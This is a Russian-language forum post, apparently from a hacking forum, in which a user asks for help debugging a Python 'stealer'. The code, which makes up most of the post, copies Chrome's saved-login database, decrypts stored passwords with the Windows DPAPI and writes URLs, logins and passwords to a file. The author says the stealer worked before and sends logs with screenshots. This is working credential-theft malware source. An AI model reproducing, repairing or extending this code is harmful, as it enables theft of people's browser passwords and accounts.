вопрос по python стиллеру

Joint?!

Новичок
Статус
offline
Регистрация
17.11.2019
Сообщения
28
Репутация
13
У меня выдает ошибку в консоли, но раньше такого не было.
Python:
def Chrome():
   text = 'Passwords Chrome:' + '\n'
   text += 'URL | LOGIN | PASSWORD' + '\n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != '':
               text += url + ' | ' + login + ' | ' + password + '\n'
   return text
file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+")
file.write(str(Chrome()) + '\n')
file.close()

Не работает именно вот это
file.write(str(Chrome()) + '\n')
Если все это закомментить то просто придут нулевые логи с одним скриншотом. Про геотулс я молчу, ладно, он полетел, а вот тут - хз
Сама ошибка:
py config.py Traceback (most recent call last): File "config.py", line 56, in <module> file.write(str(Chrome()) + '\n') File "config.py", line 49, in Chrome password = win32crypt.CryptUnprotectData(result[2])[1].decode() pywintypes.error: (87, 'CryptProtectData', 'Параметр задан неверно.')

ХОЧУ ПОДМЕТИТЬ, ЧТО ДАННЫЙ СНИФ РАБОТАЛ, А СЕГОДНЯ ОШИБКА

Прошу помочь мне, спасибо заранее!)